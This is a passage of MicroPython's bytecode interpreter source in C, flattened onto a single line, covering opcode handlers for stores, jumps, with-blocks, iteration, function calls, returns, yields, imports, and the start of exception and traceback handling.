MARK_EXC_IP_SELECTIVE(); PUSH(mp_load_build_class()); DISPATCH(); ENTRY(MP_BC_LOAD_SUBSCR): { MARK_EXC_IP_SELECTIVE(); mp_obj_t index = POP(); SET_TOP(mp_obj_subscr(TOP(), index, MP_OBJ_SENTINEL)); DISPATCH(); } ENTRY(MP_BC_STORE_FAST_N): { DECODE_UINT; fastn[-unum] = POP(); DISPATCH(); } ENTRY(MP_BC_STORE_DEREF): { DECODE_UINT; mp_obj_cell_set(fastn[-unum], POP()); DISPATCH(); } ENTRY(MP_BC_STORE_NAME): { MARK_EXC_IP_SELECTIVE(); DECODE_QSTR; mp_store_name(qst, POP()); DISPATCH(); } ENTRY(MP_BC_STORE_GLOBAL): { MARK_EXC_IP_SELECTIVE(); DECODE_QSTR; mp_store_global(qst, POP()); DISPATCH(); } #if !MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE ENTRY(MP_BC_STORE_ATTR): { MARK_EXC_IP_SELECTIVE(); DECODE_QSTR; mp_store_attr(sp[0], qst, sp[-1]); sp -= 2; DISPATCH(); } #else // This caching code works with MICROPY_PY_BUILTINS_PROPERTY and/or // MICROPY_PY_DESCRIPTORS enabled because if the attr exists in // self->members then it can't be a property or have descriptors. A // consequence of this is that we can't use MP_MAP_LOOKUP_ADD_IF_NOT_FOUND // in the fast-path below, because that store could override a property. ENTRY(MP_BC_STORE_ATTR): { MARK_EXC_IP_SELECTIVE(); DECODE_QSTR; mp_obj_t top = TOP(); if (mp_obj_get_type(top)->attr == mp_obj_instance_attr && sp[-1] != MP_OBJ_NULL) { mp_obj_instance_t *self = MP_OBJ_TO_PTR(top); mp_uint_t x = *ip; mp_obj_t key = MP_OBJ_NEW_QSTR(qst); mp_map_elem_t *elem; if (x < self->members.alloc && self->members.table[x].key == key) { elem = &self->members.table[x]; } else { elem = mp_map_lookup(&self->members, key, MP_MAP_LOOKUP); if (elem != NULL) { *(byte*)ip = elem - &self->members.table[0]; } else { goto store_attr_cache_fail; } } elem->value = sp[-1]; sp -= 2; ip++; DISPATCH(); } store_attr_cache_fail: mp_store_attr(sp[0], qst, sp[-1]); sp -= 2; ip++; DISPATCH(); } #endif ENTRY(MP_BC_STORE_SUBSCR): MARK_EXC_IP_SELECTIVE(); mp_obj_subscr(sp[-1], sp[0], sp[-2]); sp -= 3; DISPATCH(); ENTRY(MP_BC_DELETE_FAST): { MARK_EXC_IP_SELECTIVE(); DECODE_UINT; if (fastn[-unum] == MP_OBJ_NULL) { goto local_name_error; } fastn[-unum] = MP_OBJ_NULL; DISPATCH(); } ENTRY(MP_BC_DELETE_DEREF): { MARK_EXC_IP_SELECTIVE(); DECODE_UINT; if (mp_obj_cell_get(fastn[-unum]) == MP_OBJ_NULL) { goto local_name_error; } mp_obj_cell_set(fastn[-unum], MP_OBJ_NULL); DISPATCH(); } ENTRY(MP_BC_DELETE_NAME): { MARK_EXC_IP_SELECTIVE(); DECODE_QSTR; mp_delete_name(qst); DISPATCH(); } ENTRY(MP_BC_DELETE_GLOBAL): { MARK_EXC_IP_SELECTIVE(); DECODE_QSTR; mp_delete_global(qst); DISPATCH(); } ENTRY(MP_BC_DUP_TOP): { mp_obj_t top = TOP(); PUSH(top); DISPATCH(); } ENTRY(MP_BC_DUP_TOP_TWO): sp += 2; sp[0] = sp[-2]; sp[-1] = sp[-3]; DISPATCH(); ENTRY(MP_BC_POP_TOP): sp -= 1; DISPATCH(); ENTRY(MP_BC_ROT_TWO): { mp_obj_t top = sp[0]; sp[0] = sp[-1]; sp[-1] = top; DISPATCH(); } ENTRY(MP_BC_ROT_THREE): { mp_obj_t top = sp[0]; sp[0] = sp[-1]; sp[-1] = sp[-2]; sp[-2] = top; DISPATCH(); } ENTRY(MP_BC_JUMP): { DECODE_SLABEL; ip += slab; DISPATCH_WITH_PEND_EXC_CHECK(); } ENTRY(MP_BC_POP_JUMP_IF_TRUE): { DECODE_SLABEL; if (mp_obj_is_true(POP())) { ip += slab; } DISPATCH_WITH_PEND_EXC_CHECK(); } ENTRY(MP_BC_POP_JUMP_IF_FALSE): { DECODE_SLABEL; if (!mp_obj_is_true(POP())) { ip += slab; } DISPATCH_WITH_PEND_EXC_CHECK(); } ENTRY(MP_BC_JUMP_IF_TRUE_OR_POP): { DECODE_SLABEL; if (mp_obj_is_true(TOP())) { ip += slab; } else { sp--; } DISPATCH_WITH_PEND_EXC_CHECK(); } ENTRY(MP_BC_JUMP_IF_FALSE_OR_POP): { DECODE_SLABEL; if (mp_obj_is_true(TOP())) { sp--; } else { ip += slab; } DISPATCH_WITH_PEND_EXC_CHECK(); } ENTRY(MP_BC_SETUP_WITH): { MARK_EXC_IP_SELECTIVE(); // stack: (..., ctx_mgr) mp_obj_t obj = TOP(); mp_load_method(obj, MP_QSTR___exit__, sp); mp_load_method(obj, MP_QSTR___enter__, sp + 2); mp_obj_t ret = mp_call_method_n_kw(0, 0, sp + 2); sp += 1; PUSH_EXC_BLOCK(1); PUSH(ret); // stack: (..., __exit__, ctx_mgr, as_value) DISPATCH(); } ENTRY(MP_BC_WITH_CLEANUP): { MARK_EXC_IP_SELECTIVE(); // Arriving here, there's "exception control block" on top of stack, // and __exit__ method (with self) underneath it. Bytecode calls __exit__, // and "deletes" it off stack, shifting "exception control block" // to its place. // The bytecode emitter ensures that there is enough space on the Python // value stack to hold the __exit__ method plus an additional 4 entries. if (TOP() == mp_const_none) { // stack: (..., __exit__, ctx_mgr, None) sp[1] = mp_const_none; sp[2] = mp_const_none; sp -= 2; mp_call_method_n_kw(3, 0, sp); SET_TOP(mp_const_none); } else if (MP_OBJ_IS_SMALL_INT(TOP())) { mp_int_t cause_val = MP_OBJ_SMALL_INT_VALUE(TOP()); if (cause_val == UNWIND_RETURN) { // stack: (..., __exit__, ctx_mgr, ret_val, UNWIND_RETURN) mp_obj_t ret_val = sp[-1]; sp[-1] = mp_const_none; sp[0] = mp_const_none; sp[1] = mp_const_none; mp_call_method_n_kw(3, 0, sp - 3); sp[-3] = ret_val; sp[-2] = MP_OBJ_NEW_SMALL_INT(UNWIND_RETURN); } else { assert(cause_val == UNWIND_JUMP); // stack: (..., __exit__, ctx_mgr, dest_ip, num_exc, UNWIND_JUMP) mp_obj_t dest_ip = sp[-2]; mp_obj_t num_exc = sp[-1]; sp[-2] = mp_const_none; sp[-1] = mp_const_none; sp[0] = mp_const_none; mp_call_method_n_kw(3, 0, sp - 4); sp[-4] = dest_ip; sp[-3] = num_exc; sp[-2] = MP_OBJ_NEW_SMALL_INT(UNWIND_JUMP); } sp -= 2; // we removed (__exit__, ctx_mgr) } else { assert(mp_obj_is_exception_instance(TOP())); // stack: (..., __exit__, ctx_mgr, exc_instance) // Need to pass (exc_type, exc_instance, None) as arguments to __exit__. sp[1] = sp[0]; sp[0] = MP_OBJ_FROM_PTR(mp_obj_get_type(sp[0])); sp[2] = mp_const_none; sp -= 2; mp_obj_t ret_value = mp_call_method_n_kw(3, 0, sp); if (mp_obj_is_true(ret_value)) { // We need to silence/swallow the exception. This is done // by popping the exception and the __exit__ handler and // replacing it with None, which signals END_FINALLY to just // execute the finally handler normally. SET_TOP(mp_const_none); assert(exc_sp >= exc_stack); POP_EXC_BLOCK(); } else { // We need to re-raise the exception. We pop __exit__ handler // by copying the exception instance down to the new top-of-stack. sp[0] = sp[3]; } } DISPATCH(); } ENTRY(MP_BC_UNWIND_JUMP): { MARK_EXC_IP_SELECTIVE(); DECODE_SLABEL; PUSH((mp_obj_t)(mp_uint_t)(uintptr_t)(ip + slab)); // push destination ip for jump PUSH((mp_obj_t)(mp_uint_t)(*ip)); // push number of exception handlers to unwind (0x80 bit set if we also need to pop stack) unwind_jump:; mp_uint_t unum = (mp_uint_t)POP(); // get number of exception handlers to unwind while ((unum & 0x7f) > 0) { unum -= 1; assert(exc_sp >= exc_stack); if (MP_TAGPTR_TAG1(exc_sp->val_sp)) { // Getting here the stack looks like: // (..., X, dest_ip) // where X is pointed to by exc_sp->val_sp and in the case // of a "with" block contains the context manager info. // We're going to run "finally" code as a coroutine // (not calling it recursively). Set up a sentinel // on a stack so it can return back to us when it is // done (when WITH_CLEANUP or END_FINALLY reached). PUSH((mp_obj_t)unum); // push number of exception handlers left to unwind PUSH(MP_OBJ_NEW_SMALL_INT(UNWIND_JUMP)); // push sentinel ip = exc_sp->handler; // get exception handler byte code address exc_sp--; // pop exception handler goto dispatch_loop; // run the exception handler } POP_EXC_BLOCK(); } ip = (const byte*)MP_OBJ_TO_PTR(POP()); // pop destination ip for jump if (unum != 0) { // pop the exhausted iterator sp -= MP_OBJ_ITER_BUF_NSLOTS; } DISPATCH_WITH_PEND_EXC_CHECK(); } // matched against: POP_BLOCK or POP_EXCEPT (anything else?) ENTRY(MP_BC_SETUP_EXCEPT): ENTRY(MP_BC_SETUP_FINALLY): { MARK_EXC_IP_SELECTIVE(); #if SELECTIVE_EXC_IP PUSH_EXC_BLOCK((code_state->ip[-1] == MP_BC_SETUP_FINALLY) ? 1 : 0); #else PUSH_EXC_BLOCK((code_state->ip[0] == MP_BC_SETUP_FINALLY) ? 1 : 0); #endif DISPATCH(); } ENTRY(MP_BC_END_FINALLY): MARK_EXC_IP_SELECTIVE(); // if TOS is None, just pops it and continues // if TOS is an integer, finishes coroutine and returns control to caller // if TOS is an exception, reraises the exception if (TOP() == mp_const_none) { sp--; } else if (MP_OBJ_IS_SMALL_INT(TOP())) { // We finished "finally" coroutine and now dispatch back // to our caller, based on TOS value mp_unwind_reason_t reason = MP_OBJ_SMALL_INT_VALUE(POP()); if (reason == UNWIND_RETURN) { goto unwind_return; } else { assert(reason == UNWIND_JUMP); goto unwind_jump; } } else { assert(mp_obj_is_exception_instance(TOP())); RAISE(TOP()); } DISPATCH(); ENTRY(MP_BC_GET_ITER): MARK_EXC_IP_SELECTIVE(); SET_TOP(mp_getiter(TOP(), NULL)); DISPATCH(); // An iterator for a for-loop takes MP_OBJ_ITER_BUF_NSLOTS slots on // the Python value stack. These slots are either used to store the // iterator object itself, or the first slot is MP_OBJ_NULL and // the second slot holds a reference to the iterator object. ENTRY(MP_BC_GET_ITER_STACK): { MARK_EXC_IP_SELECTIVE(); mp_obj_t obj = TOP(); mp_obj_iter_buf_t *iter_buf = (mp_obj_iter_buf_t*)sp; sp += MP_OBJ_ITER_BUF_NSLOTS - 1; obj = mp_getiter(obj, iter_buf); if (obj != MP_OBJ_FROM_PTR(iter_buf)) { // Iterator didn't use the stack so indicate that with MP_OBJ_NULL. sp[-MP_OBJ_ITER_BUF_NSLOTS + 1] = MP_OBJ_NULL; sp[-MP_OBJ_ITER_BUF_NSLOTS + 2] = obj; } DISPATCH(); } ENTRY(MP_BC_FOR_ITER): { MARK_EXC_IP_SELECTIVE(); DECODE_ULABEL; // the jump offset if iteration finishes; for labels are always forward code_state->sp = sp; mp_obj_t obj; if (sp[-MP_OBJ_ITER_BUF_NSLOTS + 1] == MP_OBJ_NULL) { obj = sp[-MP_OBJ_ITER_BUF_NSLOTS + 2]; } else { obj = MP_OBJ_FROM_PTR(&sp[-MP_OBJ_ITER_BUF_NSLOTS + 1]); } mp_obj_t value = mp_iternext_allow_raise(obj); if (value == MP_OBJ_STOP_ITERATION) { sp -= MP_OBJ_ITER_BUF_NSLOTS; // pop the exhausted iterator ip += ulab; // jump to after for-block } else { PUSH(value); // push the next iteration value } DISPATCH(); } // matched against: SETUP_EXCEPT, SETUP_FINALLY, SETUP_WITH ENTRY(MP_BC_POP_BLOCK): // we are exiting an exception handler, so pop the last one of the exception-stack assert(exc_sp >= exc_stack); POP_EXC_BLOCK(); DISPATCH(); // matched against: SETUP_EXCEPT ENTRY(MP_BC_POP_EXCEPT): assert(exc_sp >= exc_stack); assert(currently_in_except_block); POP_EXC_BLOCK(); DISPATCH(); ENTRY(MP_BC_BUILD_TUPLE): { MARK_EXC_IP_SELECTIVE(); DECODE_UINT; sp -= unum - 1; SET_TOP(mp_obj_new_tuple(unum, sp)); DISPATCH(); } ENTRY(MP_BC_BUILD_LIST): { MARK_EXC_IP_SELECTIVE(); DECODE_UINT; sp -= unum - 1; SET_TOP(mp_obj_new_list(unum, sp)); DISPATCH(); } ENTRY(MP_BC_BUILD_MAP): { MARK_EXC_IP_SELECTIVE(); DECODE_UINT; PUSH(mp_obj_new_dict(unum)); DISPATCH(); } ENTRY(MP_BC_STORE_MAP): MARK_EXC_IP_SELECTIVE(); sp -= 2; mp_obj_dict_store(sp[0], sp[2], sp[1]); DISPATCH(); #if MICROPY_PY_BUILTINS_SET ENTRY(MP_BC_BUILD_SET): { MARK_EXC_IP_SELECTIVE(); DECODE_UINT; sp -= unum - 1; SET_TOP(mp_obj_new_set(unum, sp)); DISPATCH(); } #endif #if MICROPY_PY_BUILTINS_SLICE ENTRY(MP_BC_BUILD_SLICE): { MARK_EXC_IP_SELECTIVE(); DECODE_UINT; if (unum == 2) { mp_obj_t stop = POP(); mp_obj_t start = TOP(); SET_TOP(mp_obj_new_slice(start, stop, mp_const_none)); } else { mp_obj_t step = POP(); mp_obj_t stop = POP(); mp_obj_t start = TOP(); SET_TOP(mp_obj_new_slice(start, stop, step)); } DISPATCH(); } #endif ENTRY(MP_BC_STORE_COMP): { MARK_EXC_IP_SELECTIVE(); DECODE_UINT; mp_obj_t obj = sp[-(unum >> 2)]; if ((unum & 3) == 0) { mp_obj_list_append(obj, sp[0]); sp--; } else if (!MICROPY_PY_BUILTINS_SET || (unum & 3) == 1) { mp_obj_dict_store(obj, sp[0], sp[-1]); sp -= 2; #if MICROPY_PY_BUILTINS_SET } else { mp_obj_set_store(obj, sp[0]); sp--; #endif } DISPATCH(); } ENTRY(MP_BC_UNPACK_SEQUENCE): { MARK_EXC_IP_SELECTIVE(); DECODE_UINT; mp_unpack_sequence(sp[0], unum, sp); sp += unum - 1; DISPATCH(); } ENTRY(MP_BC_UNPACK_EX): { MARK_EXC_IP_SELECTIVE(); DECODE_UINT; mp_unpack_ex(sp[0], unum, sp); sp += (unum & 0xff) + ((unum >> 8) & 0xff); DISPATCH(); } ENTRY(MP_BC_MAKE_FUNCTION): { DECODE_PTR; PUSH(mp_make_function_from_raw_code(ptr, MP_OBJ_NULL, MP_OBJ_NULL)); DISPATCH(); } ENTRY(MP_BC_MAKE_FUNCTION_DEFARGS): { DECODE_PTR; // Stack layout: def_tuple def_dict <- TOS mp_obj_t def_dict = POP(); SET_TOP(mp_make_function_from_raw_code(ptr, TOP(), def_dict)); DISPATCH(); } ENTRY(MP_BC_MAKE_CLOSURE): { DECODE_PTR; size_t n_closed_over = *ip++; // Stack layout: closed_overs <- TOS sp -= n_closed_over - 1; SET_TOP(mp_make_closure_from_raw_code(ptr, n_closed_over, sp)); DISPATCH(); } ENTRY(MP_BC_MAKE_CLOSURE_DEFARGS): { DECODE_PTR; size_t n_closed_over = *ip++; // Stack layout: def_tuple def_dict closed_overs <- TOS sp -= 2 + n_closed_over - 1; SET_TOP(mp_make_closure_from_raw_code(ptr, 0x100 | n_closed_over, sp)); DISPATCH(); } ENTRY(MP_BC_CALL_FUNCTION): { MARK_EXC_IP_SELECTIVE(); DECODE_UINT; // unum & 0xff == n_positional // (unum >> 8) & 0xff == n_keyword sp -= (unum & 0xff) + ((unum >> 7) & 0x1fe); #if MICROPY_STACKLESS if (mp_obj_get_type(*sp) == &mp_type_fun_bc) { code_state->ip = ip; code_state->sp = sp; code_state->exc_sp = MP_TAGPTR_MAKE(exc_sp, currently_in_except_block); mp_code_state_t *new_state = mp_obj_fun_bc_prepare_codestate(*sp, unum & 0xff, (unum >> 8) & 0xff, sp + 1); if (new_state) { new_state->prev = code_state; code_state = new_state; nlr_pop(); goto run_code_state; } #if MICROPY_STACKLESS_STRICT else { deep_recursion_error: mp_exc_recursion_depth(); } #endif } #endif SET_TOP(mp_call_function_n_kw(*sp, unum & 0xff, (unum >> 8) & 0xff, sp + 1)); DISPATCH(); } ENTRY(MP_BC_CALL_FUNCTION_VAR_KW): { MARK_EXC_IP_SELECTIVE(); DECODE_UINT; // unum & 0xff == n_positional // (unum >> 8) & 0xff == n_keyword // We have following stack layout here: // fun arg0 arg1 ... kw0 val0 kw1 val1 ... seq dict <- TOS sp -= (unum & 0xff) + ((unum >> 7) & 0x1fe) + 2; #if MICROPY_STACKLESS if (mp_obj_get_type(*sp) == &mp_type_fun_bc) { code_state->ip = ip; code_state->sp = sp; code_state->exc_sp = MP_TAGPTR_MAKE(exc_sp, currently_in_except_block); mp_call_args_t out_args; mp_call_prepare_args_n_kw_var(false, unum, sp, &out_args); mp_code_state_t *new_state = mp_obj_fun_bc_prepare_codestate(out_args.fun, out_args.n_args, out_args.n_kw, out_args.args); m_del(mp_obj_t, out_args.args, out_args.n_alloc); if (new_state) { new_state->prev = code_state; code_state = new_state; nlr_pop(); goto run_code_state; } #if MICROPY_STACKLESS_STRICT else { goto deep_recursion_error; } #endif } #endif SET_TOP(mp_call_method_n_kw_var(false, unum, sp)); DISPATCH(); } ENTRY(MP_BC_CALL_METHOD): { MARK_EXC_IP_SELECTIVE(); DECODE_UINT; // unum & 0xff == n_positional // (unum >> 8) & 0xff == n_keyword sp -= (unum & 0xff) + ((unum >> 7) & 0x1fe) + 1; #if MICROPY_STACKLESS if (mp_obj_get_type(*sp) == &mp_type_fun_bc) { code_state->ip = ip; code_state->sp = sp; code_state->exc_sp = MP_TAGPTR_MAKE(exc_sp, currently_in_except_block); size_t n_args = unum & 0xff; size_t n_kw = (unum >> 8) & 0xff; int adjust = (sp[1] == MP_OBJ_NULL) ? 0 : 1; mp_code_state_t *new_state = mp_obj_fun_bc_prepare_codestate(*sp, n_args + adjust, n_kw, sp + 2 - adjust); if (new_state) { new_state->prev = code_state; code_state = new_state; nlr_pop(); goto run_code_state; } #if MICROPY_STACKLESS_STRICT else { goto deep_recursion_error; } #endif } #endif SET_TOP(mp_call_method_n_kw(unum & 0xff, (unum >> 8) & 0xff, sp)); DISPATCH(); } ENTRY(MP_BC_CALL_METHOD_VAR_KW): { MARK_EXC_IP_SELECTIVE(); DECODE_UINT; // unum & 0xff == n_positional // (unum >> 8) & 0xff == n_keyword // We have following stack layout here: // fun self arg0 arg1 ... kw0 val0 kw1 val1 ... seq dict <- TOS sp -= (unum & 0xff) + ((unum >> 7) & 0x1fe) + 3; #if MICROPY_STACKLESS if (mp_obj_get_type(*sp) == &mp_type_fun_bc) { code_state->ip = ip; code_state->sp = sp; code_state->exc_sp = MP_TAGPTR_MAKE(exc_sp, currently_in_except_block); mp_call_args_t out_args; mp_call_prepare_args_n_kw_var(true, unum, sp, &out_args); mp_code_state_t *new_state = mp_obj_fun_bc_prepare_codestate(out_args.fun, out_args.n_args, out_args.n_kw, out_args.args); m_del(mp_obj_t, out_args.args, out_args.n_alloc); if (new_state) { new_state->prev = code_state; code_state = new_state; nlr_pop(); goto run_code_state; } #if MICROPY_STACKLESS_STRICT else { goto deep_recursion_error; } #endif } #endif SET_TOP(mp_call_method_n_kw_var(true, unum, sp)); DISPATCH(); } ENTRY(MP_BC_RETURN_VALUE): MARK_EXC_IP_SELECTIVE(); // These next 3 lines pop a try-finally exception handler, if one // is there on the exception stack. Without this the finally block // is executed a second time when the return is executed, because // the try-finally exception handler is still on the stack. // TODO Possibly find a better way to handle this case. if (currently_in_except_block) { POP_EXC_BLOCK(); } unwind_return: while (exc_sp >= exc_stack) { if (MP_TAGPTR_TAG1(exc_sp->val_sp)) { // Getting here the stack looks like: // (..., X, [iter0, iter1, ...,] ret_val) // where X is pointed to by exc_sp->val_sp and in the case // of a "with" block contains the context manager info. // There may be 0 or more for-iterators between X and the // return value, and these must be removed before control can // pass to the finally code. We simply copy the ret_value down // over these iterators, if they exist. If they don't then the // following is a null operation. mp_obj_t *finally_sp = MP_TAGPTR_PTR(exc_sp->val_sp); finally_sp[1] = sp[0]; sp = &finally_sp[1]; // We're going to run "finally" code as a coroutine // (not calling it recursively). Set up a sentinel // on a stack so it can return back to us when it is // done (when WITH_CLEANUP or END_FINALLY reached). PUSH(MP_OBJ_NEW_SMALL_INT(UNWIND_RETURN)); ip = exc_sp->handler; exc_sp--; goto dispatch_loop; } exc_sp--; } nlr_pop(); code_state->sp = sp; assert(exc_sp == exc_stack - 1); MICROPY_VM_HOOK_RETURN #if MICROPY_STACKLESS if (code_state->prev != NULL) { mp_obj_t res = *sp; mp_globals_set(code_state->old_globals); code_state = code_state->prev; *code_state->sp = res; goto run_code_state; } #endif return MP_VM_RETURN_NORMAL; ENTRY(MP_BC_RAISE_VARARGS): { MARK_EXC_IP_SELECTIVE(); mp_uint_t unum = *ip++; mp_obj_t obj; if (unum == 2) { mp_warning("exception chaining not supported"); // ignore (pop) "from" argument sp--; } if (unum == 0) { // search for the inner-most previous exception, to reraise it obj = MP_OBJ_NULL; for (mp_exc_stack_t *e = exc_sp; e >= exc_stack; e--) { if (e->prev_exc != NULL) { obj = MP_OBJ_FROM_PTR(e->prev_exc); break; } } if (obj == MP_OBJ_NULL) { obj = mp_obj_new_exception_msg(&mp_type_RuntimeError, "No active exception to reraise"); RAISE(obj); } } else { obj = POP(); } obj = mp_make_raise_obj(obj); RAISE(obj); } ENTRY(MP_BC_YIELD_VALUE): yield: nlr_pop(); code_state->ip = ip; code_state->sp = sp; code_state->exc_sp = MP_TAGPTR_MAKE(exc_sp, currently_in_except_block); return MP_VM_RETURN_YIELD; ENTRY(MP_BC_YIELD_FROM): { MARK_EXC_IP_SELECTIVE(); //#define EXC_MATCH(exc, type) MP_OBJ_IS_TYPE(exc, type) #define EXC_MATCH(exc, type) mp_obj_exception_match(exc, type) #define GENERATOR_EXIT_IF_NEEDED(t) if (t != MP_OBJ_NULL && EXC_MATCH(t, MP_OBJ_FROM_PTR(&mp_type_GeneratorExit))) { RAISE(t); } mp_vm_return_kind_t ret_kind; mp_obj_t send_value = POP(); mp_obj_t t_exc = MP_OBJ_NULL; mp_obj_t ret_value; if (inject_exc != MP_OBJ_NULL) { t_exc = inject_exc; inject_exc = MP_OBJ_NULL; ret_kind = mp_resume(TOP(), MP_OBJ_NULL, t_exc, &ret_value); } else { ret_kind = mp_resume(TOP(), send_value, MP_OBJ_NULL, &ret_value); } if (ret_kind == MP_VM_RETURN_YIELD) { ip--; PUSH(ret_value); goto yield; } else if (ret_kind == MP_VM_RETURN_NORMAL) { // Pop exhausted gen sp--; // TODO: When ret_value can be MP_OBJ_NULL here?? if (ret_value == MP_OBJ_NULL || ret_value == MP_OBJ_STOP_ITERATION) { // Optimize StopIteration // TODO: get StopIteration's value PUSH(mp_const_none); } else { PUSH(ret_value); } // If we injected GeneratorExit downstream, then even // if it was swallowed, we re-raise GeneratorExit GENERATOR_EXIT_IF_NEEDED(t_exc); DISPATCH(); } else { assert(ret_kind == MP_VM_RETURN_EXCEPTION); // Pop exhausted gen sp--; if (EXC_MATCH(ret_value, MP_OBJ_FROM_PTR(&mp_type_StopIteration))) { PUSH(mp_obj_exception_get_value(ret_value)); // If we injected GeneratorExit downstream, then even // if it was swallowed, we re-raise GeneratorExit GENERATOR_EXIT_IF_NEEDED(t_exc); DISPATCH(); } else { RAISE(ret_value); } } } ENTRY(MP_BC_IMPORT_NAME): { MARK_EXC_IP_SELECTIVE(); DECODE_QSTR; mp_obj_t obj = POP(); SET_TOP(mp_import_name(qst, obj, TOP())); DISPATCH(); } ENTRY(MP_BC_IMPORT_FROM): { MARK_EXC_IP_SELECTIVE(); DECODE_QSTR; mp_obj_t obj = mp_import_from(TOP(), qst); PUSH(obj); DISPATCH(); } ENTRY(MP_BC_IMPORT_STAR): MARK_EXC_IP_SELECTIVE(); mp_import_all(POP()); DISPATCH(); #if MICROPY_OPT_COMPUTED_GOTO ENTRY(MP_BC_LOAD_CONST_SMALL_INT_MULTI): PUSH(MP_OBJ_NEW_SMALL_INT((mp_int_t)ip[-1] - MP_BC_LOAD_CONST_SMALL_INT_MULTI - 16)); DISPATCH(); ENTRY(MP_BC_LOAD_FAST_MULTI): obj_shared = fastn[MP_BC_LOAD_FAST_MULTI - (mp_int_t)ip[-1]]; goto load_check; ENTRY(MP_BC_STORE_FAST_MULTI): fastn[MP_BC_STORE_FAST_MULTI - (mp_int_t)ip[-1]] = POP(); DISPATCH(); ENTRY(MP_BC_UNARY_OP_MULTI): MARK_EXC_IP_SELECTIVE(); SET_TOP(mp_unary_op(ip[-1] - MP_BC_UNARY_OP_MULTI, TOP())); DISPATCH(); ENTRY(MP_BC_BINARY_OP_MULTI): { MARK_EXC_IP_SELECTIVE(); mp_obj_t rhs = POP(); mp_obj_t lhs = TOP(); SET_TOP(mp_binary_op(ip[-1] - MP_BC_BINARY_OP_MULTI, lhs, rhs)); DISPATCH(); } ENTRY_DEFAULT: MARK_EXC_IP_SELECTIVE(); #else ENTRY_DEFAULT: if (ip[-1] < MP_BC_LOAD_CONST_SMALL_INT_MULTI + 64) { PUSH(MP_OBJ_NEW_SMALL_INT((mp_int_t)ip[-1] - MP_BC_LOAD_CONST_SMALL_INT_MULTI - 16)); DISPATCH(); } else if (ip[-1] < MP_BC_LOAD_FAST_MULTI + 16) { obj_shared = fastn[MP_BC_LOAD_FAST_MULTI - (mp_int_t)ip[-1]]; goto load_check; } else if (ip[-1] < MP_BC_STORE_FAST_MULTI + 16) { fastn[MP_BC_STORE_FAST_MULTI - (mp_int_t)ip[-1]] = POP(); DISPATCH(); } else if (ip[-1] < MP_BC_UNARY_OP_MULTI + 7) { SET_TOP(mp_unary_op(ip[-1] - MP_BC_UNARY_OP_MULTI, TOP())); DISPATCH(); } else if (ip[-1] < MP_BC_BINARY_OP_MULTI + 36) { mp_obj_t rhs = POP(); mp_obj_t lhs = TOP(); SET_TOP(mp_binary_op(ip[-1] - MP_BC_BINARY_OP_MULTI, lhs, rhs)); DISPATCH(); } else #endif { mp_obj_t obj = mp_obj_new_exception_msg(&mp_type_NotImplementedError, "byte code not implemented"); nlr_pop(); fastn[0] = obj; return MP_VM_RETURN_EXCEPTION; } #if !MICROPY_OPT_COMPUTED_GOTO } // switch #endif pending_exception_check: MICROPY_VM_HOOK_LOOP #if MICROPY_ENABLE_SCHEDULER // This is an inlined variant of mp_handle_pending if (MP_STATE_VM(sched_state) == MP_SCHED_PENDING) { MARK_EXC_IP_SELECTIVE(); mp_uint_t atomic_state = MICROPY_BEGIN_ATOMIC_SECTION(); mp_obj_t obj = MP_STATE_VM(mp_pending_exception); if (obj != MP_OBJ_NULL) { MP_STATE_VM(mp_pending_exception) = MP_OBJ_NULL; if (!mp_sched_num_pending()) { MP_STATE_VM(sched_state) = MP_SCHED_IDLE; } MICROPY_END_ATOMIC_SECTION(atomic_state); RAISE(obj); } mp_handle_pending_tail(atomic_state); } #else // This is an inlined variant of mp_handle_pending if (MP_STATE_VM(mp_pending_exception) != MP_OBJ_NULL) { MARK_EXC_IP_SELECTIVE(); mp_obj_t obj = MP_STATE_VM(mp_pending_exception); MP_STATE_VM(mp_pending_exception) = MP_OBJ_NULL; RAISE(obj); } #endif #if MICROPY_PY_THREAD_GIL #if MICROPY_PY_THREAD_GIL_VM_DIVISOR if (--gil_divisor == 0) { gil_divisor = MICROPY_PY_THREAD_GIL_VM_DIVISOR; #else { #endif #if MICROPY_ENABLE_SCHEDULER // can only switch threads if the scheduler is unlocked if (MP_STATE_VM(sched_state) == MP_SCHED_IDLE) #endif { MP_THREAD_GIL_EXIT(); MP_THREAD_GIL_ENTER(); } } #endif } // for loop } else { exception_handler: // exception occurred #if MICROPY_PY_SYS_EXC_INFO MP_STATE_VM(cur_exception) = nlr.ret_val; #endif #if SELECTIVE_EXC_IP // with selective ip, we store the ip 1 byte past the opcode, so move ptr back code_state->ip -= 1; #endif if (mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(((mp_obj_base_t*)nlr.ret_val)->type), MP_OBJ_FROM_PTR(&mp_type_StopIteration))) { if (code_state->ip) { // check if it's a StopIteration within a for block if (*code_state->ip == MP_BC_FOR_ITER) { const byte *ip = code_state->ip + 1; DECODE_ULABEL; // the jump offset if iteration finishes; for labels are always forward code_state->ip = ip + ulab; // jump to after for-block code_state->sp -= MP_OBJ_ITER_BUF_NSLOTS; // pop the exhausted iterator goto outer_dispatch_loop; // continue with dispatch loop } else if (*code_state->ip == MP_BC_YIELD_FROM) { // StopIteration inside yield from call means return a value of // yield from, so inject exception's value as yield from's result *++code_state->sp = mp_obj_exception_get_value(MP_OBJ_FROM_PTR(nlr.ret_val)); code_state->ip++; // yield from is over, move to next instruction goto outer_dispatch_loop; // continue with dispatch loop } } } #if MICROPY_STACKLESS unwind_loop: #endif // set file and line number that the exception occurred at // TODO: don't set traceback for exceptions re-raised by END_FINALLY. // But consider how to handle nested exceptions. // TODO need a better way of not adding traceback to constant objects (right now, just GeneratorExit_obj and MemoryError_obj) if (nlr.ret_val != &mp_const_GeneratorExit_obj && nlr.ret_val != &mp_const_MemoryError_obj) { const byte *ip = code_state->fun_bc->bytecode; ip = mp_decode_uint_skip(ip); // skip n_state ip = mp_decode_uint_skip(ip); // skip n_exc_stack ip++; // skip scope_params ip++; // skip n_pos_args ip++; // skip n_kwonly_args ip++; // skip n_def_pos_args size_t bc = code_state->ip - ip; size_t code_info_size = mp_decode_uint_value(ip); ip = mp_decode_uint_skip(ip); // skip code_info_size bc -= code_info_size; #if MICROPY_PERSISTENT_CODE qstr block_name = ip[0] | (ip[1] << 8); qstr source_file = ip[2] | (ip[3] << 8); ip += 4; #else qstr block_name = mp_decode_uint_value(ip); ip = mp_decode_uint_skip(ip); qstr source_file = mp_decode_uint_value(ip); ip = mp_decode_uint_skip(ip); #endif size_t source_line = 1; size_t c; while ((c = *ip)) { size_t b, l; if ((c & 0x80) == 0) { // 0b0LLBBBBB encoding b = c & 0x1f; l = c >> 5; ip += 1; } else 